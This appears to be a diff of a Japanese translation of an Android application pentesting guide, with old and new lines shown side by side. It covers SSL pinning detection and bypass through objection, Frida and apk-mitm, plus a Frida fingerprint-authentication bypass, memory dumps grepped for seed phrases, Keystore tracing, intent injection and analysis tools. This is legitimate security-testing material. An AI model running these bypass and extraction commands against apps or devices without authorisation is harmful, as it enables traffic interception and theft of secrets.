HTTP トラフィックを検査するには、プロキシツールの証明書(例Burp**インストールする必要があります**。この証明書をインストールしないと、暗号化されたトラフィックはプロキシ上で見えない可能性があります。カスタム CA 証明書のインストール手順については [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine) を参照してください。 HTTP トラフィックを検査するには、プロキシツールの証明書(例: Burpを**インストールする必要があります**。この証明書をインストールしていないと、暗号化されたトラフィックはプロキシで見えない場合があります。カスタム CA 証明書のインストール手順については、[**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine) を参照してください。
Applications targeting **API Level 24 and above** は、プロキシの CA 証明書を受け入れるよう Network Security Config を変更する必要があります。暗号化されたトラフィックを検査するにはこの手順が重要です。Network Security Config の変更手順については [**refer to this tutorial**](make-apk-accept-ca-certificate.md) を確認してください。 API Level 24 and above をターゲットにしたアプリケーションは、プロキシの CA 証明書を受け入れるように Network Security Config を修正する必要があります。この手順は暗号化トラフィックを検査する上で重要です。Network Security Config の変更方法については、[**refer to this tutorial**](make-apk-accept-ca-certificate.md) を参照してください。
もし **Flutter** を使用している場合は、[**this page**](flutter.md) の指示に従ってください。単に証明書をストアに追加するだけでは動作しないことがあり、Flutter は独自の有効な CA リストを持っているためです。 If **Flutter** is being used you need to to follow the instructions in [**this page**](flutter.md). This is becasue, just adding the certificate into the store won't work as Flutter has its own list of valid CAs.
#### SSL/TLS pinning の静的検出 #### Static detection of SSL/TLS pinning
runtime bypass を試みる前に、まず APK 内で pinning がどこに強制されているかを素早くマップしてください。静的検出によりフック/パッチの計画が立てやすく、正しいコードパスに集中できます。 ランタイムでのバイパスを試みる前に、APK 内で pinning が適用されている箇所を素早くマップしてください。静的検出はフックやパッチの計画を助け、適切なコードパスに集中するのに役立ちます。
Tool: SSLPinDetect Tool: SSLPinDetect
- オープンソースの static-analysis ユーティリティで、apk を Smaliapktool 経由にデコンパイルし、SSL/TLS pinning 実装のためにキュレーションされた regex パターンをスキャンします。 - Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations.
- 各一致について正確なファイルパス、行番号、コードスニペットを報告します。 - Reports exact file path, line number, and a code snippet for each match.
- OkHttp CertificatePinner、カスタム `javax.net.ssl.X509TrustManager.checkServerTrusted``SSLContext.init`(カスタム TrustManagers/KeyManagers 使用)や Network Security Config XML pins など、一般的なフレームワークとカスタムコードパスをカバーします。 - Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
Install Install
- Prereqs: Python >= 3.8, Java on PATH, apktool - Prereqs: Python >= 3.8, Java on PATH, apktool
@ -461,7 +464,7 @@ python sslpindetect.py -f app.apk -a apktool.jar
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
``` ```
パターンルールの例 (JSON) パターンルールの例 (JSON)
独自/カスタムのpinningスタイルを検出するために、signaturesを使用または拡張してください。独自のJSONを読み込み、大規模にscanを実行できます。 プロプライエタリ/カスタムの pinning スタイルを検出するために、signatures を使用または拡張します。独自の JSON を読み込んで大規模にスキャンできます。
```json ```json
{ {
"OkHttp Certificate Pinning": [ "OkHttp Certificate Pinning": [
@ -475,41 +478,43 @@ python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
] ]
} }
``` ```
注意とヒント Notes and tips
- 大規模なアプリをマルチスレッディングと memory-mapped I/O で高速スキャン;事前コンパイル済みの regex はオーバーヘッドと誤検知を減らします。 - 大規模なアプリを高速にスキャンするには、マルチスレッディングとメモリマップドI/Oを利用する。プリコンパイルされたregexはオーバーヘッドや偽陽性を減らす。
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns - Pattern collection: https://github.com/aancw/smali-sslpin-patterns
- 次にトリアージすべき典型的な検出対象: - 次にトリアージすべき典型的な検出対象:
- OkHttp: CertificatePinner の使用、setCertificatePinner、okhttp3/okhttp パッケージ参照 - OkHttp: CertificatePinner の使用、setCertificatePinner、okhttp3/okhttp パッケージ参照
- カスタム TrustManagers: javax.net.ssl.X509TrustManager、checkServerTrusted のオーバーライド - Custom TrustManagers: javax.net.ssl.X509TrustManager、checkServerTrusted のオーバーライド
- カスタム SSL contexts: SSLContext.getInstance + SSLContext.init とカスタムマネージャ - Custom SSL contexts: SSLContext.getInstance + SSLContext.init とカスタムマネージャ
- res/xml network security config と manifest の宣言的ピン設定 - Declarative pins は res/xml の network security config や manifest の参照にある
- マッチした箇所を使って、Frida フック、静的パッチ、または設定レビューを動的テストの前に計画する。 - 一致した箇所を活用して、動的テスト前に Frida hooks、static patches、または設定レビューを計画する。
#### SSL Pinning の回避
SSL Pinning が実装されている場合、HTTPS トラフィックを検査するためにそれを回避する必要があります。目的のために利用できる方法はいくつかあります:
- 自動的に **変更** して **apk****バイパス** するために [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) を使う。 この方法の最大の利点は、SSL Pinning を回避するのに root が不要であることだが、アプリを削除して新しいものを再インストールする必要があり、常に動作するとは限らない。 #### Bypassing SSL Pinning
- この保護を回避するために **Frida**後述を使うこともできる。Burp+Frida+Genymotion を使うガイド: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- [**objection**](frida-tutorial/objection-tutorial.md) を使って **自動的に SSL Pinning をバイパス** することも試せます:**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- **MobSF dynamic analysis** を使って **自動的に SSL Pinning をバイパス** することも試せます(以下に説明)
- まだ取得できていないトラフィックがあると思われる場合は、iptables を使ってトラフィックを Burp に **転送する** ことを試せます。この記事を読む: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### 一般的な Web 脆弱性の探索 SSL Pinning が実装されている場合、HTTPS トラフィックを解析するためにそれをバイパスする必要がある。これを行うための様々な手法が存在する:
アプリ内の一般的な Web 脆弱性も検索することが重要です。これら脆弱性の特定と緩和に関する詳細はこの要約の範囲外ですが、他所で広く解説されています。 - 自動で [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) を使って **apk** を**変更**し、SSLPinning を**バイパス**する。 この方法の最大の利点は、SSL Pinning をバイパスするために root が不要なことだが、アプリを削除して新しいものを再インストールする必要があり、常に動作するとは限らない。
- この保護を回避するために **Frida**下記参照を使うこともできる。Burp+Frida+Genymotion の使用ガイド: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- [**objection**](frida-tutorial/objection-tutorial.md) を使って **自動的に SSL Pinning をバイパス**することも試せる:**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- **MobSF dynamic analysis** を使って **自動的に SSL Pinning をバイパス**することも試せる(下記参照)
- それでもキャプチャできていないトラフィックがあると思われる場合、iptables を使ってトラフィックを burp に転送してみることができる。この記事を読む: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Looking for Common Web Vulnerabilities
アプリ内で一般的な Web 脆弱性を検索することも重要である。これらの脆弱性の特定や緩和に関する詳細はこの要約の範囲を超えるが、他所で広く扱われている。
### Frida ### Frida
[Frida](https://www.frida.re) は開発者、リバースエンジニア、セキュリティ研究者向けの動的インストルメンテーションツールキットです。\ [Frida](https://www.frida.re) は開発者、リバースエンジニア、セキュリティ研究者のための動的インストルメンテーションツールキットである。\
**実行中のアプリケーションにアクセスしてランタイムでメソッドにフックし、振る舞いを変えたり、値を変更したり、値を抽出したり、別のコードを実行したりできます...**\ **実行中のアプリにアクセスしてランタイムでメソッドをフックし、挙動を変更したり、値を変更・抽出したり、別のコードを実行したりできる。**\
Android アプリを pentest するなら、Frida の使い方を知っておく必要があります。 Android アプリを pentest するなら Frida の使い方を知っておく必要がある
- Frida の使い方を学ぶ: [**Frida tutorial**](frida-tutorial/index.html) - Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html)
- Frida 操作のための「GUI」的ツール: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) - Frida を使った操作のための「GUI」的なもの: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection は Frida の利用を自動化するに便利: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) - Frida の利用を自動化するには Ojection が便利: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- いくつかの Awesome Frida スクリプト: [**https://codeshare.frida.re/**](https://codeshare.frida.re) - いくつかの Awesome Frida スクリプトはこちらで見つかる: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Frida をロードして anti-debugging / anti-frida 機構を回避することを試: [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)(ツール [linjector](https://github.com/erfur/linjector-rs) - Frida をロードして anti-debugging / anti-frida 機構を回避することを試みる: [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)(ツール: [linjector](https://github.com/erfur/linjector-rs)
#### Anti-instrumentation & SSL pinning bypass workflow #### Anti-instrumentation & SSL pinning bypass workflow
@ -517,11 +522,11 @@ Android アプリを pentest するなら、Frida の使い方を知っておく
android-anti-instrumentation-and-ssl-pinning-bypass.md android-anti-instrumentation-and-ssl-pinning-bypass.md
{{#endref}} {{#endref}}
### **メモリダンプ - Fridump** ### **Dump Memory - Fridump**
アプリがパスワードやニーモニック(シードフレーズ)など、本来メモリ内に保持すべきでない機密情報を保存していないか確認してください アプリがパスワードやニーモニックなど、本来メモリに保持すべきでない機密情報をメモリ内に保持していないかを確認する
[**Fridump3**](https://github.com/rootbsd/fridump3) を使うと、以下のようにアプリのメモリをダンプできます: [**Fridump3**](https://github.com/rootbsd/fridump3) を使うと、次のようにしてアプリのメモリをダンプできる:
```bash ```bash
# With PID # With PID
python3 fridump3.py -u <PID> python3 fridump3.py -u <PID>
@ -530,64 +535,63 @@ python3 fridump3.py -u <PID>
frida-ps -Uai frida-ps -Uai
python3 fridump3.py -u "<Name>" python3 fridump3.py -u "<Name>"
``` ```
これにより ./dump フォルダにメモリが dump され、そこで次のように grep できます: これによりメモリが ./dump フォルダにダンプされ、そこで次のようなコマンドで grep できます:
```bash ```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
``` ```
### **Keystore内の機密データ** ### **Keystore内の機密データ**
AndroidではKeystoreが機密データを保存する最良の場所ですが、十分な権限があればそれでも**アクセス可能です**。 AndroidではKeystoreが機密データを保存する最良の場所ですが、十分な権限があればそれでも**アクセス可能**です。アプリはここに**平文の機密データ**を保存する傾向があるため、pentestsはroot userとして確認する必要があります。また、デバイスに物理的にアクセスできる人物がこれらのデータを盗む可能性があります。
アプリケーションはここに**平文の機密データ**を保存する傾向があるため、pentestsはこれを確認するべきです。root userやデバイスに物理的にアクセスできる者がこのデータを盗める可能性があります。
アプリがkeystoreにデータを保存している場合でも、そのデータは暗号化されているべきです。 たとえアプリがKeystoreにデータを保存していても、そのデータは暗号化されているべきです。
keystore内のデータにアクセスするには、次のFridaスクリプトを使用できます: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) To access the data inside the Keystore you could use this Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash ```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
``` ```
### **Fingerprint/Biometrics Bypass** ### **Fingerprint/Biometrics Bypass**
以下のFridaスクリプトを使用すると、Androidアプリケーションが**特定の機密領域を保護するために**実行している**bypass fingerprint authentication**を回避できる可能性があります: 以下のFridaスクリプトを使用すると、Androidアプリが特定の機密領域を保護するために実行している **bypass fingerprint authentication** を回避できる可能性があります:
```bash ```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package> frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
``` ```
### **バックグラウンド画像** ### **バックグラウンド画像**
アプリをバックグラウンドに移動すると、Android はアプリケーションの**スナップショット**を保存します。これにより、フォアグラウンドに復帰したときにアプリ本体より先にその画像を読み込んで、アプリがより速く読み込まれたように見せかけます。 アプリをバックグラウンドに入れると、Android は **アプリケーションのスナップショット** を保存します。これによりフォアグラウンドに戻したときにアプリより先にその画像を読み込んで、アプリの起動が速く見えるようになります。
しかし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセスできる者がその情報を**盗む**可能性があります(アクセスするには root が必要である点に注意してください)。 しかし、このスナップショットに **機密情報** が含まれている場合、スナップショットにアクセスできる者が **その情報を盗む** 可能性があります(アクセスするには root が必要点に注意してください)。
スナップショットは通常次の場所に保存されます **`/data/system_ce/0/snapshots`** スナップショットは通常次の場所に保存されます: **`/data/system_ce/0/snapshots`**
Android は、レイアウトパラメータに FLAG_SECURE を設定することで**スクリーンショットのキャプチャを防止する方法**を提供しています。このフラグを使用するとウィンドウの内容がセキュアとして扱われ、スクリーンショットに表示されたり、非セキュアなディスプレイで表示されたりするのを防ぎます。 Android は **FLAG_SECURE を設定してスクリーンショットの取得を防ぐ方法** を提供しています。このフラグを使用するとウィンドウの内容がセキュアとして扱われ、スクリーンショットに表示されたり安全でないディスプレイで表示されるのを防ぎます。
```bash ```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
``` ```
### **Android Application Analyzer** ### **Android アプリケーション解析ツール**
このツールは動的解析中にさまざまなツールを管理するのに役立ちます: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) このツールは、動的解析中に複数のツールを管理するのに役立ちます: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Intent Injection ### Intent Injection
開発者はしばしば activity、service、broadcast receiver のようなプロキシコンポーネントを作成し、これらの Intents を処理して `startActivity(...)``sendBroadcast(...)` のようなメソッドに渡すことがありますが、これはリスクを伴います。 開発者はしばしば activity、service、broadcast receiver のようなプロキシコンポーネントを作成し、これらの Intent を処理して `startActivity(...)``sendBroadcast(...)` のようなメソッドに渡しますが、これは危険を伴うことがあります。
危険なのは、攻撃者がこれらの Intents を誤誘導して non-exported なアプリコンポーネントをトリガーしたり、機密性の高い content providers にアクセスしたりできる点です。顕著な例としては、`WebView` コンポーネントが URL を `Intent.parseUri(...)`介して `Intent` オブジェクトに変換し、それを実行することで悪意のある Intent 注入を引き起こす可能性があります。 危険は、攻撃者がこれらの Intent を誤誘導して non-exported なアプリコンポーネントをトリガーしたり、センシティブな content providers にアクセスさせたりできる点にあります。顕著な例としては、`WebView` コンポーネントが URL を `Intent.parseUri(...)`通じて Intent オブジェクトに変換し、それを実行して結果的に悪意ある Intent 注入を許してしまうケースがあります。
### Essential Takeaways ### Essential Takeaways
- **Intent Injection** は web の Open Redirect 問題に似ています。 - **Intent Injection** は web の Open Redirect 脆弱性に似ています。
- エクスプロイトは `Intent` オブジェクトを extras として渡し、それがリダイレクトされて安全でない操作を実行させることを含みます。 - エクスプロイトは Intent オブジェクトを extras として渡し、それがリダイレクトされて安全でない操作を実行させることを含みます。
- 非エクスポートのコンポーネントや content providers を攻撃者に晒す可能性があります。 - 非エクスポートのコンポーネントや content providers が攻撃者にさらされる可能性があります。
- `WebView` の URL から `Intent` への変換が意図しない動作を引き起こすことがあります。 - `WebView` の URL`Intent` 変換により、意図しない動作が誘発されることがあります。
### Android クライアントサイドの Injections とその他 ### Android Client Side Injections and others
おそらく Web でこの種の脆弱性を知っているでしょう。Android アプリケーションではこれらの脆弱性に特に注意する必要があります: おそらくこの種の脆弱性は Web で既に聞いたことがあるでしょう。Android アプリケーションでは次の脆弱性に特に注意する必要があります:
- **SQL Injection:** 動的クエリや Content-Providers を扱う場合は、パラメータ化クエリを使用していることを確認してください。 - **SQL Injection:** 動的クエリや Content-Providers を扱う場合は、パラメータ化されたクエリを使用していることを確認してください。
- **JavaScript Injection (XSS):** 任意の WebViews で JavaScript と Plugin サポートが無効になっていることを確認してください(デフォルトでは無効)。[より詳しくはこちら](webview-attacks.md#javascript-enabled). - **JavaScript Injection (XSS):** 任意の WebViews で JavaScript と Plugin サポートが無効になっていることを確認してください(デフォルトで無効)。 [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebViews はファイルシステムへのアクセスを無効にしておくべきです(デフォルトで有効) - `(webview.getSettings().setAllowFileAccess(false);)`。[より詳しくはこちら](webview-attacks.md#javascript-enabled). - **Local File Inclusion:** WebViews のファイルシステムへのアクセスは無効にするべきです(デフォルトで有効) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: 多くの場合、Android アプリケーションがセッションを終了しても cookie が取り消されない、あるいはディスクに保存されてしまうことがあります。 - **Eternal cookies**: 多くの場合、Android アプリがセッションを終了しても cookie が取り消されなかったり、ディスクに保存されてしまったりします。
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
--- ---
@ -600,7 +604,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
![](<../../images/image (866).png>) ![](<../../images/image (866).png>)
**Vulnerability assessment of the application** を使った見やすい web ベースのフロントエンドでの解析。動的解析も実行できます(ただし環境の準備が必要です)。 **アプリケーションの脆弱性評価** を、使いやすいウェブベースのフロントエンドで行えます。動的解析も実行できます(ただし環境の準備が必要です)。
```bash ```bash
docker pull opensecurity/mobile-security-framework-mobsf docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@ -653,15 +657,15 @@ exported_activities
services services
receivers receivers
``` ```
**HTTPツール** **HTTP ツール**
HTTPトラフィックをキャプチャすると、"**HTTP(S) Traffic**" ボトムでキャプチャしたトラフィックの見にくい表示が見られるか、"**Start HTTPTools**" の緑色のボタンでより見やすい表示を見ることができます。後者のオプションから、キャプチャしたリクエストを Burp や Owasp ZAP のような **プロキシ****送信** できます。\ http トラフィックがキャプチャされると、キャプチャしたトラフィックの見づらい表示を「**HTTP(S) Traffic**」ボトムで、より見やすい表示を「**Start HTTPTools**」緑色のボタンで確認できます。後者から、**キャプチャされたリクエスト**を **プロキシ**Burp や Owasp ZAP など)に **送信**することができます。\
To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). 手順: _Burp を起動 -->_ _Intercept をオフ --> MobSB HTTPTools でリクエストを選択_ --> 「**Send to Fuzzer**」を押す --> _プロキシアドレスを選択_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
動的解析を MobSF で終えたら、"**Start Web API Fuzzer**" を押して **fuzz http requests** を行い、脆弱性を探すことができます。 MobSF で dynamic analysis を終えたら、「**Start Web API Fuzzer**」を押して **fuzz http requests** を実行し、脆弱性を探すことができます。
> [!TIP] > [!TIP]
> MobSF で動的解析を行った後、プロキシ設定が誤って構成され、GUI から修正できないことがあります。プロキシ設定は以下のように修正できます: > MobSF で dynamic analysis を行った後、プロキシ設定が誤って構成され、GUI から修正できない場合があります。プロキシ設定は以下で修正できます:
> >
> ``` > ```
> adb shell settings put global http_proxy :0 > adb shell settings put global http_proxy :0
@ -670,17 +674,17 @@ To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select
### Inspeckage を使った支援付き動的解析 ### Inspeckage を使った支援付き動的解析
ツールは [**Inspeckage**](https://github.com/ac-pm/Inspeckage) から入手できます。\ ツールは [**Inspeckage**](https://github.com/ac-pm/Inspeckage) から入手できます。\
このツールはいくつかの **Hooks** を使用して、**動的解析** を行っている間にアプリケーション内で**何が起きているか**を知らせてくれます。 このツールは一部の **Hooks** を利用して、**dynamic analysis** 実行中にアプリケーション内で **what is happening in the application** を把握させてくれます。
### [Yaazhini](https://www.vegabird.com/yaazhini/) ### [Yaazhini](https://www.vegabird.com/yaazhini/)
これは **GUI で静的解析を行うための優れたツール** です GUI を使った静的解析を行うための優れたツールです
![](<../../images/image (741).png>) ![](<../../images/image (741).png>)
### [Qark](https://github.com/linkedin/qark) ### [Qark](https://github.com/linkedin/qark)
このツールは、**セキュリティ関連の Android アプリケーション脆弱性** を、**ソースコード** または **packaged APKs** のいずれかで検出するように設計されています。さらに、このツールは発見した脆弱性Exposed activities、intents、tapjacking...)を悪用するための "Proof-of-Concept" なデプロイ可能な APK と **ADB commands** を作成することができます。Drozer と同様に、テストデバイスを root する必要はありません。 このツールは、**security related Android application vulnerabilities** を、**source code** または **packaged APKs** のいずれでも検出するよう設計されています。さらに、発見された一部の脆弱性Exposed activities、intents、tapjacking など)を悪用するための、"Proof-of-Concept" としてデプロイ可能な APK や **ADB commands** を作成することもできます。Drozer と同様に、テストデバイスを root する必要はありません。
```bash ```bash
pip3 install --user qark # --user is only needed if not using a virtualenv pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk qark --apk path/to/my.apk
@ -689,20 +693,20 @@ qark --java path/to/specific/java/file.java
``` ```
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
- 参照しやすいように抽出されたすべてのファイルを表示します - 抽出したすべてのファイルを表示し、参照を容易にする
- APKファイルを自動的にJavaおよびSmali形式にデコンパイルしま - APKファイルを自動的にJavaおよびSmali形式にデコンパイルす
- 一般的な脆弱性や挙動についてAndroidManifest.xmlを解析します - AndroidManifest.xmlを解析して一般的な脆弱性や挙動を検出する
- 静的ソースコード解析により、一般的な脆弱性や挙動を検出します - 一般的な脆弱性や挙動に対する静的ソースコード解析
- デバイス情報 - デバイス情報
- その他多数 - など
```bash ```bash
reverse-apk relative/path/to/APP.apk reverse-apk relative/path/to/APP.apk
``` ```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER は Windows、MacOS X、Linux で用できるコマンドラインアプリケーションで、_.apk_ ファイルを解析して脆弱性を検出します。APK を展開し、一連のルールを適用して脆弱性を見つけます。 SUPER は Windows、MacOS X、Linux で使用できるコマンドラインアプリケーションで、_.apk_ ファイルを解析して脆弱性を探します。これは APK を展開し、一連のルールを適用して脆弱性を検出することで行われます。
すべてのルールは `rules.json` ファイルに集約されており、各企業やテスターは必要に応じて独自のルールを作成できます。 すべてのルールは `rules.json` ファイルに集約されており、各企業やテスターは独自のルールを作成して必要な解析を行えます。
最新のバイナリは [download page](https://superanalyzer.rocks/download.html) からダウンロードしてください。 最新のバイナリは [download page](https://superanalyzer.rocks/download.html) からダウンロードしてください。
``` ```
@ -712,17 +716,17 @@ super-analyzer {apk_file}
![](<../../images/image (297).png>) ![](<../../images/image (297).png>)
StaCoAn は、モバイルアプリケーションに対して [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) を行う開発者、bugbounty hunters、ethical hackers を支援する**クロスプラットフォーム**ツールです。 StaCoAnはモバイルアプリケーションに対する [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) を行う開発者、bugbounty hunters、ethical hackers を支援する **crossplatform** ツールです。
コンセプトは、モバイルアプリケーションファイル(.apk または .ipa ファイル)を StaCoAn アプリケーションにドラッグアンドドロップすると、視覚的で持ち運び可能なレポートを生成するというものです。設定や wordlists を調整して、カスタマイズされた体験を得ることができます。 コンセプトは、モバイルアプリのファイル(.apk または .ipa ファイル)を StaCoAn アプリにドラッグ&ドロップすると、視覚的で持ち運び可能なレポートを生成してくれる、というものです。設定や wordlists を調整してカスタマイズされた体験を得られます。
Download[ latest release](https://github.com/vincentcox/StaCoAn/releases): ダウンロード[ latest release](https://github.com/vincentcox/StaCoAn/releases):
``` ```
./stacoan ./stacoan
``` ```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Framework は、開発者や hackers が Android アプリケーションの潜在的なセキュリティ脆弱性を発見するのに役立つ脆弱性解析システムです.\ AndroBugs Frameworkは、Androidアプリケーションの潜在的なセキュリティ脆弱性を開発者やハッカーが発見するのを支援する脆弱性解析システムです。\
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
``` ```
python androbugs.py -f [APK file] python androbugs.py -f [APK file]
@ -730,11 +734,11 @@ androbugs.exe -f [APK file]
``` ```
### [Androwarn](https://github.com/maaaaz/androwarn) ### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn** は、Android アプリケーションによって発生する可能性のある悪意のある振る舞いを検出し、ユーザーに警告することを主目的としたツールです。 **Androwarn** は、Android アプリケーションによって発生する潜在的な悪意ある振る舞いを検出し、ユーザーに警告することを主目的としたツールです。
検出は、[`androguard`](https://github.com/androguard/androguard) ライブラリを用いて、アプリケーションの Dalvik bytecode**Smali** 表現)に対する **static analysis** により行われます。 検出は、アプリケーションの Dalvik バイトコードを **Smali** として表現したものに対する **static analysis** を、[`androguard`](https://github.com/androguard/androguard) ライブラリで行います。
このツールは、**悪意のあるアプリケーションの一般的な挙動**Telephony identifiers exfiltration、Audio/video flow interception、PIM data modification、Arbitrary code execution...)を検出します。 このツールは、**「悪質な」アプリケーションの一般的な挙動** を検出します。例: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
``` ```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
``` ```
@ -742,48 +746,48 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>) ![](<../../images/image (595).png>)
**MARA** は **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework の略です。一般的に使用されるモバイルアプリのリバースエンジニアリングおよび解析ツールをまとめたツールで、モバイルアプリを OWASP のモバイルセキュリティ脅威に対してテストするのを支援します。目的は、モバイルアプリ開発者やセキュリティ専門家にとってこの作業をより簡単かつ扱いやすくすることです。 **MARA** はモバイルアプリの逆解析および解析のフレームワークです。一般的に使用されるモバイルアプリの逆解析・解析ツールをまとめ、OWASP のモバイルセキュリティ脅威に対するテストを支援します。目的は、この作業をモバイルアプリ開発者やセキュリティ専門家にとってより簡単で扱いやすくすることです。
It is able to: It is able to:
- Extract Java and Smali code using different tools - さまざまなツールを使用して Java および Smali コードを抽出する
- Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) - 以下のツールを使って APK を解析する: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Extract private information from the APK using regexps. - regexps を使って APK からプライベート情報を抽出する
- Analyze the Manifest. - Manifest を解析する
- Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb) - 発見したドメインを以下で解析する: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
- Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com) - [apk-deguard.com] を使って APK の deobfuscate を行う
### Koodous ### Koodous
malware を検出するのに有用: [https://koodous.com/](https://koodous.com/) マルウェア検出に有用: [https://koodous.com/](https://koodous.com/)
## Obfuscating/Deobfuscating code ## Obfuscating/Deobfuscating code
Note that depending the service and configuration you use to obfuscate the code. Secrets may or may not ended obfuscated. 使用するサービスや設定によって、コードの難読化によってシークレット(秘密情報)が難読化される場合とされない場合があることに注意してください。
